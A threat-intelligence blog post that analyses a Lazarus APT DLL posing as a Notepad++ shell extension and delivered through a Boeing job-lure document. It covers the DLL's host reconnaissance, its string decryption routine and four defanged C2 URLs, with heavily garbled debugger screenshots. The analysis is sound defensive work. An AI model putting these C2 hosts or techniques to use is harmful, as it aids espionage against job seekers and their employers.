A detailed analysis of Lazarus APT malware disguised as Notepad++ Shell Extension

gybergeeks.tech/a-detailed-analysis-of-lazarus-malware-disguised-as-notepad-shell-extension/

Summary

Lazarus has targeted its victims using job opportunities documents for companies such as LockHeed Martin, BAE Systems, and Boeing. In this case, the threat actor has targeted people that are looking for jobs at Boeing using a document called Boeing BDS MSE.docx (<u>https://twitter.com/ShadowChasing1/status/1455489336850325519</u>). The malware extracts the hostname, username, network information, a list of processes, and other information that will be exfiltrated to one out of the four C2 servers. The data targeted for exfiltration is compressed, XOR-encrypted and then Base64-encoded before being transmitted to the C2 server. The Trojan implements four actions that include downloading and executing a .exe or .dll file, loading a PE (Portable Executable) into the process memory, and executing shellcode.

Analyst: @GeeksCyber

Technical analysis

SHA256: 803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269

The file is a DLL that has 7 exports. Only one of these functions implements malicious activity (DIIGetFirstChild):

🖪 IDA View-A 🛛 🖸 Hex View-1 🛛	\Lambda Structures 🗵 🛛 🔝 Enums 🛽	🛾 📲 Imports 🗵	📝 Exports 🖾	
Name	Address	Ordinal		
f DIICanUnloadNow	69DD9530	1		
f DIIGetClassObject	69DD9540	2		
1 DIIGetFirstChild	69DDB850	3		Figure 1
f Dilinstall	69DD95F0	4		
f DIIRegisterServer	69DD95B0	5		
f DIIUnregisterServer	69DD95D0	6		
DIIEntryPoint	69DDBF67	[main entry]		

The malware retrieves the User Agent by calling the ObtainUserAgentString function. There is also a User Agent that is hardcoded in the binary "Mozilla / 5.0 (Windows NT 10.0; WOW64; Trident / 7.0; rv:11.0) li", which is Internet Explorer on Windows 10:

GeoDiagi GooDiagi Coodiagi	50 50 50 50 50 50 50 50 50 50	push eax lea eax,dword ptr ss:[ei push eax push 0 call dword ptr ds:[<40bi tring>]= <urlmon.obtainuseragentsi< th=""><th>op-404] tainUserAgentString>] tring></th><th>> D</th><th>(875W_E 0 x875W_C3 0 x875W_C2 0 (875W_C1 0 x875W_C0 0 x875W_E5 0 (875W_5F 0 x875W_P 1 x875W_U 0 efault (stdcall) ▼ 5 ↓ Unloc : [esp+8] 00000000 : [esp+8] 00CFF762 : [esp+8] 00CFF768 : [esp+8] 00CFF768</th></urlmon.obtainuseragentsi<>	op-404] tainUserAgentString>] tring>	> D	(875W_E 0 x875W_C3 0 x875W_C2 0 (875W_C1 0 x875W_C0 0 x875W_E5 0 (875W_5F 0 x875W_P 1 x875W_U 0 efault (stdcall) ▼ 5 ↓ Unloc : [esp+8] 00000000 : [esp+8] 00CFF762 : [esp+8] 00CFF768 : [esp+8] 00CFF768
Dump 1 Dump 2	U Dump 3 U Dump 4	Ump 5 🛞 Watch 1 🕅 💷 Locals	Struct 00CFF754	000000	000 76C "Mozilla / 5.0 (Windows NT 10.0: WOW64:
Address Hex 00CFF768 00 04 00 04 00CFF778 30 20 28 57 00CFF788 2E 30 82 57 00CFF788 6E 74 20 27 00CFF788 30 29 20 6C	0 6F 7A 69 6C 6C 61 20 2 9 6E 64 6F 77 73 20 4E 5 7 4F 57 36 34 38 20 54 7 37 28 30 38 20 72 76 36 88 6	ASCII F 20 35 2EMozilla / 5. 4 20 31 30 0 (Windows NT 10 2 69 64 65 .0; WOW64; Tride A 31 31 2E nt / 7.0; rvill. F 00 00 00 0) like Gecko	OOCFF75C OOCF756 OOCF756 OOCF756 OOCF756 OOCF756 OOCF776 OOCF776	00CFF7 00CFF8 000000 000004 697A69 206160 2F3520	768

Figure 2

The binary extracts the current system date and time using the GetSystemTimeAsFileTime API:

	• 69DE26D2	50	push eax			1.65.200 B 0
EIP	<	FF 15 98 F1 DE 69	[Call dword ptr dst[<@getSystemlimeAsFilelime>]	>	Default (stdcall)	▼ 5 🗘 Unloc
dword ptr [69DEF198 <lazar 6D3 lazarus.dll</lazar 	rus.&GetSystemTimeAsFileT 1:\$126D3 #11AD3	ime>]= <kernel32.getsystemtimeasfiletime></kernel32.getsystemtimeasfiletime>		2: [esp+4] 0000000 3: [esp+8] 0000000 4: [esp+C] 00CFFB98	
tilli Come t	100 a 100		OOCFFB	50 00C	FFB64	

Figure 3

GetModuleHandleW is utilized to retrieve a module handle for ntdll.dll:

• 690D37A9	68 FO 53 DF 69	push lazarus.69DF53F0			0 1103011 0 0
dword ptr [69DEF080 <1az	arus.&GetModuleHandleW>]=-	>	Default (stdcall) 1: [esp] 69DF53F0 L"ntr 2: [esp+4] CD424448 3: [esp+8] 00000000	▼ 5 € Unloc d11.d11"	
.text:69DD37AE lazarus.d	11:\$37AE #2BAE			4: [esp+c] 0000000	

Figure 4

The process gets the address of the following export functions using the GetProcAddress routine: "RtlGetCompressionWorkSpaceSize", "RtlCompressBuffer", "RtlDecompressBuffer", "RtlGetVersion". An example of a function call is shown in figure 5:

	 69DD 37C 69DD 37C 	0 68 <u>04</u> 5 5 3	54 DF 69	p	ush lazarus. ush ebx	69DF5404			2	(875W_SF 0 x875W_F	1 x875W_U	0
EIP	→• 69DD37C	6 FE DG		ļ	all esi			>	Y D	efault (stdcall)	▼ 5	1 Unlock
esi= <kerne< th=""><th>132.GetProcAd</th><th>ddress> (76</th><th>A750B0) #2BC6</th><th></th><th></th><th></th><th></th><th></th><th>234</th><th>: [esp+4] 69DF5404 : [esp+8] CD424448 : [esp+C] 00000000</th><th>"RtlGetCompres</th><th>sionWorkSpa</th></kerne<>	132.GetProcAd	ddress> (76	A750B0) #2BC6						234	: [esp+4] 69DF5404 : [esp+8] CD424448 : [esp+C] 00000000	"RtlGetCompres	sionWorkSpa
Dump 1	Dump 2	Dump 3	Dump 4	Dump 5	👹 Watch 1	[x=] Locals	3 Struct	00CFFB70 7	6FEO	000 ntdl1.76FE0000	cionworkSnaceSi	7.0"

The NetBIOS name of the local computer is extracted via a function call to GetComputerNameW:



Figure 6

The GetAdaptersInfo API is used to retrieve adapter information for the local machine:

	69DD3D9F 50 69DD3DA0 56				ush eax ush esi				x875W_SF 0 x875W_P 1 x875W_U 0	
dword ptr	690EF068 <1a	Zarus.&Get	<u>68 FO DE 6</u> AdaptersInfo	2 [c]	.GetAdapter	sInfo>	tAdaptersInfo>]	>	~	Default (stdcall)
.text:69DD	3DA1 lazarus.	d11:\$3DA1	#31A1					000555944 00		4: [esp+C] 76A750B0 <kernel32.getprocaddress< th=""></kernel32.getprocaddress<>
U Dump 1	Dump 2	Ump 3	Dump 4	Ump 5	💮 Watch 1	[x=] Locals	2 Struct	00CFFB48 00	DCF	#738 FB68

Figure 7

The MAC address extracted above is written to a buffer:

Address Hex ASCII 03134520 30 00 30 00 32 00 32 00 30 0.0.0.c.2.9.2.5. Figure 8 03134530 36 00 30 00 30 00 30 00 30 0.0.0.0.0.0.

The file extracts the command-line string for the current process:

EIP 0 69007434 FF	15 18 F1 DE 69	call dword ptr ds: [<&GetCommandLinew>]	~	Default (stdcall)	▼ 5 🗘 🗆 Unlock
dword ptr [69DEF118 < azarus.&G .text:69DD7434 azarus.dll:\$743	SetCommandLineW>]=<	ernel32.GetCommandLineW>		1: [esp] CD424448 2: [esp+4] 0000000 3: [esp+8] 0000000 4: [esp+C] 00000218	
	2 100 Dune 4 100	Course C Mattack & Inclusion (1) Character	OCFFA88 CD4	24448	

Figure 9

CommandLineToArgvW is utilized to extract an array of pointers to the command-line arguments, along with a count of arguments (similar to argv and argc):

	69DD7445 51 69DD7446 50				ush ecx ush eax	-			x875W_SF 0 x875W_P 1 x875W_U 0			
EIP	→• 690D7447	FF 15	FC F1 DE 6	2 1 1	all dword pt	tr ds:[<&Con	mandLineToArg	/w>] >	×	Default (stdcall)	▼ 5	😫 🗌 Unlock
dword ptr	[69DEF1FC <laz< th=""><th>dll:\$7447</th><th>mandLineToAr #6847</th><th>gvW>]=<shell< th=""><th>32.CommandL</th><th>ineToArg∨₩></th><th></th><th></th><th></th><th>1: [esp+4] 00CFFB84 3: [esp+8] CD424448 4: [esp+C] 0000000</th><th></th><th></th></shell<></th></laz<>	dll:\$7447	mandLineToAr #6847	gvW>]= <shell< th=""><th>32.CommandL</th><th>ineToArg∨₩></th><th></th><th></th><th></th><th>1: [esp+4] 00CFFB84 3: [esp+8] CD424448 4: [esp+C] 0000000</th><th></th><th></th></shell<>	32.CommandL	ineToArg∨₩>				1: [esp+4] 00CFFB84 3: [esp+8] CD424448 4: [esp+C] 0000000		
Dump 1	Ump 2	Ump 3	Ump 4	Ump 5	🤴 Watch 1	[x=] Locals	2 Struct	OOCFFA80 OOCFFA84	0310 00CF	21A6 FB84		

Figure 10

According to an article published at https[:]//zhuanlan.zhihu.com/p/453894016, the malware is supposed to run with the following parameters:

"NTPR

P6k+pR6ilKwJpU6oR6ZilgKPL7IxsitJAnpIYSx2KldSSRFFyUIzTBVFAwgzBkI2PS/+EgASBik/GgYBwBbRNy7pP+Xq4uTsxOXU6NPmudaEz7Xy5fL

The binary decrypts the above parameter using a custom algorithm displayed in figure 11. The list of resulting strings contains multiple C2 servers:

📕 🚄 🖼			1
.text:69DD3980		a film frequencia	
.text:69DD3980	loc	69DD3980:	
.text:69DD3980	mov	cl, [edx+edi]	
.text:69DD3983	mov	al, dl	
.text:69DD3985	xor	cl, 0E9h	
.text:69DD3988	add	al, al	E :
.text:69DD398A	sub	cl, al	Figure 11
.text:69DD398C	lea	eax, [edx+7Ah]	
.text:69DD398F	add	cl, 3Bh ; ';'	
.text:69DD3992	xor	cl, al	
.text:69DD3994	mov	[edx+edi], cl	
.text:69DD3997	inc	edx	
.text:69DD3998	cmp	edx, esi	
.text:69DD399A	jb	short loc_69DD3980	
	_		

I	Address	He	(1000														ASCII	
	03136308	68	00	74	00	74	00	70	00	73	00	ЗA	00	2F	00	2F	00	h.t.t.p.s.:././.	
	03136318	6D	00	61	00	6E	00	74	00	65	00	2E	00	6C	00	69	00	m.a.n.t.el.i.	
	03136328	2F	00	69	00	6D	00	61	00	67	00	65	00	73	00	2F	00	/.i.m.a.g.e.s./.	
	03136338	64	00	72	00	61	00	77	00	2E	00	70	00	68	00	70	00	d.r.a.wp.h.p.	
	03136348	3B	00	3B	00	68	00	74	00	74	00	70	00	73	00	ЗA	00	;.;.h.t.t.p.s.:.	
	03136358	2F	00	2F	00	62	00	6D	00	61	00	6E	00	61	00	6C	00	/./.b.m.a.n.a.l.	
	03136368	2E	00	63	00	6F	00	6D	00	2F	00	69	00	6D	00	61	00	c.o.m./.i.m.a.	
	03136378	67	00	65	00	73	00	2F	00	64	00	72	00	61	00	77	00	g.e.s./.d.r.a.w.	
	03136388	2E	00	70	00	68	00	70	00	3B	00	3B	00	68	00	74	00	p.h.p.;.;.h.t. Figure 12)
	03136398	74	00	70	00	73	00	3A	00	2F	00	2F	00	73	00	68	00	t.p.s.:././.s.h.	
	031363A8	6F	00	70	00	61	00	6E	00	64	00	74	00	72	00	61	00	o.p.a.n.d.t.r.a.	
	031363B8	76	00	65	00	6C	00	75	00	73	00	61	00	2E	00	63	00	v.e.l.u.s.ac.	
	031363C8	6F	00	6D	00	2F	00	76	00	65	00	6E	00	64	00	6F	00	o.m./.v.e.n.d.o.	
	031363D8	72	00	2F	00	6D	00	6F	00	6E	00	6F	00	6C	00	6F	00	r./.m.o.n.o.1.o.	
	031363E8	67	00	2F	00	6D	00	6F	00	6E	00	6F	00	6C	00	6F	00	g./.m.o.n.o.1.o.	
	031363F8	67	00	2F	00	73	00	72	00	63	00	2F	00	4D	00	6F	00	g./.s.r.c./.M.o.	
	03136408	6E	00	6F	00	6C	00	6F	00	67	00	2F	00	6D	00	6F	00	n.o.1.o.g./.m.o.	
	03136418	6E	00	6F	00	6C	00	6F	00	67	00	2E	00	70	00	68	00	n.o.1.o.gp.h.	
l	03136428	70	00	3B	00	3B	00	68	00	74	00	74	00	70	00	73	00	p.;.;.h.t.t.p.s.	
	TI 6-11				- 1-		- 1-		I -			I -							

The following URLs have been decrypted:

https[:]//mante.li/images/draw.php

https[:]//bmanal.com/images/draw.php

https[:]//shopandtravelusa.com/vendor/monolog/monolog/src/Monolog/monolog.php

https[:]//industryinfostructure.com/templates/worldgroup/view.php

The GetNetworkParams routine is used to retrieve network parameters for the local computer:

69DD4318 50 69DD4319 57					ush eax ush edi				x875W_SF 0 x875W_P 1 x875W_U 0			
EIP	→ 690D431.	A FF 15	6C FO DE 6	2 9	all dword p	tr ds:[<&Ge	[NetworkParams>]	>	Y	Default (stdcall)	▼ 5 😫 🗌 Unloc	
dword ptr	[69DEF06C <la< th=""><th>dll:\$431A</th><th>NetworkParan #371A</th><th>is>]=<iphlpa< th=""><th>pi.GetNetwor</th><th>kParams></th><th></th><th></th><th></th><th>1: [esp+4] 00CFF20C 3: [esp+8] CD4245AC 4: [esp+C] 00CFFBA0</th><th></th></iphlpa<></th></la<>	dll:\$431A	NetworkParan #371A	is>]= <iphlpa< th=""><th>pi.GetNetwor</th><th>kParams></th><th></th><th></th><th></th><th>1: [esp+4] 00CFF20C 3: [esp+8] CD4245AC 4: [esp+C] 00CFFBA0</th><th></th></iphlpa<>	pi.GetNetwor	kParams>				1: [esp+4] 00CFF20C 3: [esp+8] CD4245AC 4: [esp+C] 00CFFBA0		
Dump 1	Dump 2	Dump 3	Ump 4	Ump 5	💮 Watch 1	[x=] Locals	2 Struct	00CFF184 (0313 00CF	6380 F20C		
Figure 13												

The malicious process extracts the name of the DNS domain assigned to the local host (0x2 = ComputerNameDnsDomain):

	 6900420 6900420 6900420 	9 51 A 50 8 6A 02		p	ush ecx ush eax ush 2						x875W_C1 0 x875W_C0 0 x875W_SF 0 x875W_P 1	x87SW_ES x87SW_U	0
	→• 690D42D	FF D7		, e	all edi				>		Default (stdcall)	₹ 5	😫 🗌 Unlock
edi= <kerne< th=""><th>132.GetComput 42DD lazarus.</th><th>dll:\$42DD</th><th>(76A74BF0) #36DD</th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th>2: [esp+4] 03146DD0 3: [esp+8] 00CFF210 4: [esp+C] CD4245AC</th><th></th><th></th></kerne<>	132.GetComput 42DD lazarus.	dll:\$42DD	(76A74BF0) #36DD								2: [esp+4] 03146DD0 3: [esp+8] 00CFF210 4: [esp+C] CD4245AC		
Dump 1	Ump 2	Ump 3	Ump 4	Ump 5	👹 Watch 1	[x=] Locals	2 Struct	0	00CFF180	0000	0002 6DD0		

Figure 14

The following network information is written to a temporary buffer:

I	Address	He	<															ASCII
	03139D98	OD	00	0A	00	57	00	69	00	6E	00	64	00	6F	00	77	00	W.i.n.d.o.w.
	03139DA8	73	00	20	00	49	00	50	00	20	00	43	00	6F	00	6E	00	sI.PC.o.n.
	03139DB8	66	00	69	00	67	00	75	00	72	00	61	00	74	00	69	00	f.i.g.u.r.a.t.i.
	03139DC8	6F	00	6E	00	OD	00	0A	00	OD	00	0A	00	09	00	48	00	o.nH.
	03139DD8	6F	00	73	00	74	00	20	00	4E	00	61	00	GD	00	65	00	o.s.tN.a.m.e.
	03139DE8	20	00	2E	00	20	00	2E	00	20	00	2E	00	20	00	2E	00	
	03139DF8	20	00	2E	00	20	00	2E	00	20	00	2E	00	20	00	2E	00	
	03139E08	20	00	2E	00	20	00	ЗA	00	20	00	44	00	45	00	53	00	<u>D.E.S</u> .
	03139E18	4B	00	54	00	4F	00	50	00	2D	00						00	K.T.O.P
	03139E28								00	OD	00	0A	00	09	00	50	00	P.
	03139E38	72	00	69	00	6D	00	61	00	72	00	79	00	20	00	44	00	r.i.m.a.r.yD.
	03139E48	6E	00	73	00	20	00	53	00	75	00	66	00	66	00	69	00	n.sS.u.f.f.i.
	03139E58	78	00	20	00	20	00	2E	00	20	00	2E	00	20	00	2E	00	x
	03139E68	20	00	2E	00	20	00	ЗA	00	OD	00	0A	00	09	00	44	00	:D.
	03139E78	4E	00	53	00	20	00	53	00	65	00	72	00	76	00	65	00	N.SS.e.r.v.e.
	03139E88	72	00	73	00	20	00	2E	00	20	00	2E	00	20	00	2E	00	r.s
	03139E98	20	00	2E	00	20	00	2E	00	20	00	2E	00	20	00	2E	00	
	03139EA8	20	00	2E	00	20	00	ЗA	00	20	00	31	00	39	00	32	00	:1.9.2.
	03139EB8	2E	00	31	00	36	00	38	00	2E	00	31	00	36	00	34	00	1.6.81.6.4.
	03139EC8	ZE	00	31	00	32	00	38	00	OD	00	OA	00	09	00	4E	00	
	03139ED8	61	00	64	00	65	00	20	00	54	00	19	00	70	00	65	00	o.a.e I.y.p.e. Tigute 15
	03139228	20	00	ZE	00	20	00	ZE	00	20	00	ZE	00	20	00	ZE	00	
	03139EF8	20	00	2E	00	20	00	ZE	00	20	00	ZE	00	20	00	2E	00	10 sec 10
	03139F08	20	00	25	00	20	00	SA	00	20	00	48	00	19	00	62	00	
	02129528	74	00	42	00	40	00	45	00	E 2	00	20	00	+C	00	62	00	+ P T O C C C
	02129528	65	00	70	00	65	00	20	00	10	00	44	00	25	00	20	00	C.B.1.0.55.C.
	02129548	25	00	20	00	25	00	20	00	25	00	20	00	26	00	20	00	0.0.0.
	02129558	26	00	20	00	24	00	20	00	00	00	04	00	0.9	00	49	00	······
	03139568	50	00	20	00	52	00	6E	00	75	00	74	00	69	00	6F	00	P R. o. u. t. i. n.
	03139F78	67	00	20	00	45	00	6F	00	61	00	62	00	6C	00	65	00	g F. n. a. b. l. e.
	03139E88	64	00	2E	00	20	00	2F	00	20	00	2F	00	20	00	2F	00	d
	03139F98	20	00	2E	00	20	00	34	00	20	00	6F	00	6F	00	OD	00	
	03139FA8	0A	00	09	00	57	00	49	00	4E	00	53	00	20	00	50	00	W.I.N.SP.
	03139FB8	72	00	6F	00	78	00	79	00	20	00	45	00	6E	00	61	00	r.o.x.vE.n.a.
	03139FC8	62	00	6C	00	65	00	64	00	2E	00	20	00	2E	00	20	00	b.1.e.d
	03139FD8	2E	00	20	00	2E	00	20	00	2E	00	20	00	3A	00	20	00	:
	03139FE8	6E	00	6F	00	0D	00	0A	00	09	00	4E	00	65	00	74	00	n.oN.e.t.
	03139FF8	42	00	49	00	4F	00	53	00	20	00	52	00	65	00	73	00	B.I.O.SR.e.s.
	0313A008	6F	00	6C	00	75	00	74	00	69	00	6F	00	6E	00	20	00	0.1.u.t.i.o.n
	0313A018	55	00	73	00	65	00	73	00	20	00	44	00	4E	00	53	00	U.s.e.sD.N.S.
	0313A028	20	00	3A	00	20	00	6E	00	6F	00	OD	00	0A	00	00	00	.:

	Address	He	<														1000	ASCII	
1	03149522	OD	00	0A	00	0D	00	0A	00	45	00	74	00	68	00	65	00	E.t.h.e.	
	03149532	72	00	6E	00	65	00	74	00	20	00	61	00	64	00	61	00	r.n.e.ta.d.a.	
	03149542	70	00	74	00	65	00	72	00	20	00	7B	00	36	00	32	00	p.t.e.r{.6.2.	
	03149552	32	00	44	00	32	00	38	00	39	00	45	00	2D	00	45	00	2.D.2.8.9.EE.	
	03149562	32	00	31	00	44	00	2D	00	34	00	33	00	38	00	38	00	2.1.D4.3.8.8.	
	03149572	2D	00	38	00	37	00	42	00	30	00	2D	00	39	00	30	00	8.7.B.09.0.	
	03149582	30	00	42	00	35	00	45	00	34	00	44	00	32	00	35	00	0.B.5.E.4.D.2.5.	
	03149592	34	00	37	00	70	00	3A	00	OD	00	0A	00	OD	00	0A	00	4.7.3.:	
	031495A2	09	00	44	00	65	00	73	00	63	00	72	00	69	00	70	00		
	031495B2	74	00	69	00	6F	00	6E	00	20	00	2E	00	20	00	2E	00	t.i.o.n	
	031495C2	20	00	2E	00	20	00	2E	00	20	00	2E	00	20	00	2E	00		
	031495D2	20	00	2E	00	20	00	2E	00	20	00	ЗA	00	20	00	49	00	:I.	
	031495E2	6E	00	74	00	65	00	6C	00	28	00	52	00	29	00	20	00	n.t.e.l.(.R.)	
	031495F2	38	00	32	00	35	00	37	00	34	00	4C	00	20	00	47	00	8.2.5.7.4.LG.	
	03149602	69	00	67	00	61	00	62	00	69	00	74	00	20	00	4E	00	i.g.a.b.i.tN.	
	03149612	65	00	74	00	77	00	6F	00	72	00	6B	00	20	00	43	00	e.t.w.o.r.kC.	
	03149622	6F	00	6E	00	6E	00	65	00	63	00	74	00	69	00	6F	00	o.n.n.e.c.t.i.o.	
	03149632	GE	00	OD	00	0A	00	09	00	50	00	68	00	79	00	73	00	nP.h.v.s.	
1	03149642	69	00	63	00	61	00	6C	00	20	00	41	00	64	00	64	00	i.c.a.lA.d.d.	
1	03149652	72	00	65	00	73	00	73	00	2E	00	20	00	2E	00	20	00	r.e.s.s	
	03149662	2E	00	20	00	2E	00	20	00	2E	00	20	00	2E	00	20	00		
	03149672	3A	00	20	00	30	00	30	00	2D	00	30	00	43	00	2D	00	:0.00.C	
	03149682	32	00	39	00	2D	00	32	00	35	00	2D	00	36	00	36	00	2.92.56.6.	
	03149692	2D	00	31	00	35	00	0D	00	0A	00	09	00	44	00	48	00	1.5D.H.	
	031496A2	43	00	50	00	20	00	45	00	6E	00	61	00	62	00	6C	00	C.PE.n.a.b.l.	
	031496B2	65	00	64	00	2E	00	20	00	2E	00	20	00	2E	00	20	00	e.d	
	031496C2	2E	00	20	00	2E	00	20	00	2E	00	20	00	2E	00	20	00		
	031496D2	2E	00	20	00	3A	00	20	00	6E	00	6F	00	OD	00	0A	00	:n.o	
	031496E2	09	00	49	00	50	00	20	00	41	00	64	00	64	00	72	00	I.PA.d.d.r.	Figure 16
	031496F2	65	00	73	00	73	00	2E	00	20	00	2E	00	20	00	2E	00	e.s.s	
	03149702	20	00	2E	00	20	00	2E	00	20	00	2E	00	20	00	2E	00		
	03149712	20	00	2E	00	20	00	2E	00	20	00	3A	00	20	00	31	00	1.	
	03149/22	39	00	32	00	ZE	00	31	00	36	00	38	00	ZE	00	31	00	9.21.6.81.	
	03149/32	36	00	34	00	ZE	00	31	00	32	00	38	00	OD	00	OA	00	6.41.2.8	
	03149/42	09	00	53	00	125	00	62	00	6E	00	65	00	74	00	20	00		
	03149/52	40	00	61	00	13	00	68	00	20	00	ZE	00	20	00	ZE	00	M.d.S.K	
	03149/62	20	00	2E	00	20	00	ZE	00	20	00	ZE	00	20	00	25	00		
	02149772	20	00	25	00	20	00	22	00	20	00	25	00	20	00	22	00	E E 2 E E 2	
	02149702	25	00	25	00	26	00	20	00	00	00	0.0	00	00	00	14	00	5.52.5.52.	
	021497 52	65	00	66	00	61	00	75	00	6C	00	74	00	20	00	47	00	afault G	
	03149782	61	00	74	00	65	00	77	00	61	00	79	00	20	00	25	00	ateway	
	03149702	20	00	2E	00	20	00	2F	00	20	00	2E	00	20	00	2F	00	arerennary:	
	03149702	20	00	2E	00	20	00	34	00	20	00	31	00	39	00	32	00	1.9.2	
	031497F2	2F	00	31	00	36	00	38	00	2F	00	31	00	36	00	34	00		
	031497F2	2E	00	32	00	35	00	34	00	OD	00	0A	00	09	00	44	00		
	03149802	48	00	43	00	50	00	20	00	53	00	65	00	72	00	76	00	H.C.PS.e.r.v.	
	03149812	65	00	72	00	20	00	2E	00	20	00	2E	00	20	00	2E	00	e.r	
	03149822	20	00	2E	00	20	00	2E	00	20	00	2E	00	20	00	2E	00		
	03149832	20	00	2E	00	20	00	3A	00	20	00	0D	00	0A	00	09	00	:	
	03149842	50	00	72	00	69	00	6D	00	61	00	72	00	79	00	20	00	P.r.i.m.a.r.y	
	03149852	57	00	49	00	4E	00	53	00	20	00	53	00	65	00	72	00	W.I.N.SS.e.r.	
	03149862	76	00	65	00	72	00	20	00	2E	00	20	00	2E	00	20	00	v.e.r	
	03149872	2E	00	20	00	2E	00	20	00	ЗA	00	20	00	OD	00	0A	00	:	
1	03149882	09	00	53	00	65	00	63	00	6F	00	6E	00	64	00	61	00		
1	03149892	72	00	79	00	20	00	57	00	49	00	4E	00	53	00	20	00	r.yW.I.N.S	
	031498A2	53	00	65	00	72	00	76	00	65	00	72	00	20	00	2E	00	s.e.r.v.e.r	
	031498B2	20	00	2E	00	20	00	2E	00	20	00	3A	00	20	00	OD	00		
1	03149802	I OA	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00		1

The process gets the username associated with the current thread by calling the GetUserNameW function:

	 69DD6B1D 69DD6B1E 	50 53		p	ush eax ush ebx					x875W_0 0 x875W_Z	0 x875W_D 0	
	→ 6900681F	FF 15	08 F0 DE 6	2 6	all dword pt	r ds:[<&Ge	tUserNameW>]	>	~	Default (stdcall)	▼ 5 😫	Unlock
dword ptr	[69DEF008 <la< th=""><th>dll:\$681F</th><th>JserNameW>]= #5F1F</th><th><advap132.g< th=""><th>etUserNameW></th><th></th><th></th><th></th><th></th><th>1: [esp] 031480.8 2: [esp+4] 00CFFA44 3: [esp+8] 00CFFBA0 4: [esp+C] 76A75A40</th><th><kernel32.localfr< th=""><th>ee></th></kernel32.localfr<></th></advap132.g<></th></la<>	dll:\$681F	JserNameW>]= #5F1F	<advap132.g< th=""><th>etUserNameW></th><th></th><th></th><th></th><th></th><th>1: [esp] 031480.8 2: [esp+4] 00CFFA44 3: [esp+8] 00CFFBA0 4: [esp+C] 76A75A40</th><th><kernel32.localfr< th=""><th>ee></th></kernel32.localfr<></th></advap132.g<>	etUserNameW>					1: [esp] 031480.8 2: [esp+4] 00CFFA44 3: [esp+8] 00CFFBA0 4: [esp+C] 76A75A40	<kernel32.localfr< th=""><th>ee></th></kernel32.localfr<>	ee>
Dump 1	Dump 2	Dump 3	Dump 4	Dump 5	🛞 Watch 1	[x=] Locals	3 Struct	00CFFA24 0 00CFFA28 0	03148	30C8 FA44		
Figure 17												

The binary takes a snapshot of all processes in the system using the CreateToolhelp32Snapshot API (0x2 = TH32CS_SNAPPROCESS):

	6 9DD 6DC 6 9DD 6DC 6 9DD 6DC 6 9DD 6DC 6 9DD 6DC	A 57 8 89 7D 8 88 35 4 6A 02	FC 04 F1 DE 65	2 m	ush edi ov dword ptr ov esi,dword ush 2	ss:[ebp-4 ptr ds:[<	,edi &CreateToolhe	1p32Snapshot>]		x87SW_C1 0 x87SW_C0 x87SW_SF 0 x87SW_P x87SW_O 0 x87SW_Z	0 x875W_E5 1 x875W_U 0 x875W_D	0 0 0
EIP	→ ● 6900 600 (● <	FF D6		- IC	all esi		•		>	Default (stdcall)	• 5	Unlock
esi= <kernel< th=""><th>132.CreateToo</th><th>dll:\$60D6</th><th>oshot> (76AA V61D6</th><th>F890)</th><th></th><th></th><th></th><th></th><th></th><th>1: [esp] 00000002 2: [esp+4] 00000000 3: [esp+8] CD4245A8 4: [esp+C] 00CFFBA0</th><th></th><th></th></kernel<>	132.CreateToo	dll:\$60D6	oshot> (76AA V61D6	F890)						1: [esp] 00000002 2: [esp+4] 00000000 3: [esp+8] CD4245A8 4: [esp+C] 00CFFBA0		
Dump 1	Dump 2	Dump 3	Ump 4	Dump 5	💮 Watch 1	[x=] Locals	2 Struct	OOCFEA40	0000	00002		
Figure 18												

The file extracts information about the first process from the snapshot via a call to Process32FirstW:

	6 900 60 F	7 51 8 50		p	ush ecx ush eax					x875W_0 0 x875W_Z	0 x875W_D	0
dword ptr	690060F	Zarus.&Pro	EO FO DE 6	2	2.Process32F	r ds:[<&Pro)cess32FirstW>]	>	~	Default (stdcall) 1: [esp] 0000030C	• 5	🗧 🗌 Unlock
.text:69DD	6DF9 lazarus.	d11:\$6DF9	#61F9							2: [esp+8] CD4245A8 4: [esp+C] 00CFFBA0		
Ump 1	Dump 2	Dump 3	Dump 4	Dump 5	🛞 Watch 1	[x=] Locals	3 Struct	OOCFEA4C 0 OOCFEA50 0	0000 00CF	030C F830		

Figure 19

The malicious binary opens the process object using the OpenProcess routine (0x410 = **PROCESS_QUERY_INFORMATION** | **PROCESS_VM_READ**):

dword ptr [.text:690D7	 \$9007009 \$0007004 \$9007004 \$9007061 \$9007061 \$9007064 \$9007064 \$9007068 \$9007068 \$9007068 \$9007068 \$9007105 \$9007106 \$9007131 \$9007131 \$9007136 \$9007136 \$9007137 \$9007136 \$9007136 \$9007137 \$9007136 \$9007136 \$9007137 \$9007138 \$9007138<	50 68 100 89 40 67 45 67	04 00 00 C0 DC 00 00 00 DC 04 01 00 DD 04 01 00 C8 00 00 00 E0 25 00 73 E4 5C 00 73 F4 6F 00 77 F8 6E 00 07 F9 6B 00 6E 08 F1 DE 65 PProcess>]=) 000 mm 000 mm	Ish eax Ish 0 Ish 10 Ish 410 Ish 41	SS: ebp-40 SS: ebp-34 SS: ebp-34 SS: ebp-38 SS: ebp-38 SS: ebp-28 SS: ebp-28 SS: ebp-28 SS: ebp-28 SS: ebp-28 SS: ebp-28 SS: ebp-14 SS: ebp-14 SS: ebp-14 SS: ebp-16 SS: ebp-6 SS: ebp-6 SS: ebp-6	-CX -0 -104 -104 -12C -0 -730025 -73005 -6E0068 -77006F -6E -77006F		~	x87 x87 x87 x87 x87 x87 x87 x87 x87 x87	r5 000000 r6 3FFF80 r7 3FFF80 Tagword F Tw_0 3 (E Tw_4 3 (E Tw_4 3 (E Tw_4 3 (E) Sw_5 0 Sw_5 0 Sw_5 0 Sw_5 0 Sw_5 0 (esp+4) 00 (esp+4) 00 (esp+4) 00 (esp+4) 00 (esp+4) 00	0000000000 00000000000 870C975DF2: FFF mpty) x8 mpty) x8 mpty) x8 d 0020 x875W_C3 x875W_C0 x8	0000 STS E 2363 ST7 E 2363 ST7 E 27TW_1 3 (E 7TW_5 3 (E 7TW_5 3 (E 7TW_7 3 (C 0 x87SW_C 0 x87SW_0 1 x87SW_0 0 x87SW_0	mpty 0.00000 mpty 1.00000 mpty 1.10714 mpty) mpty) mpty) mpty) py) 5 0 0 0
Dump 1	Dump 2	Ump 3	Ump 4	Dump 5	💮 Watch 1	(x=) Locals	2 Struct	00CFE9E8 00CFE9EC	0000	0410				
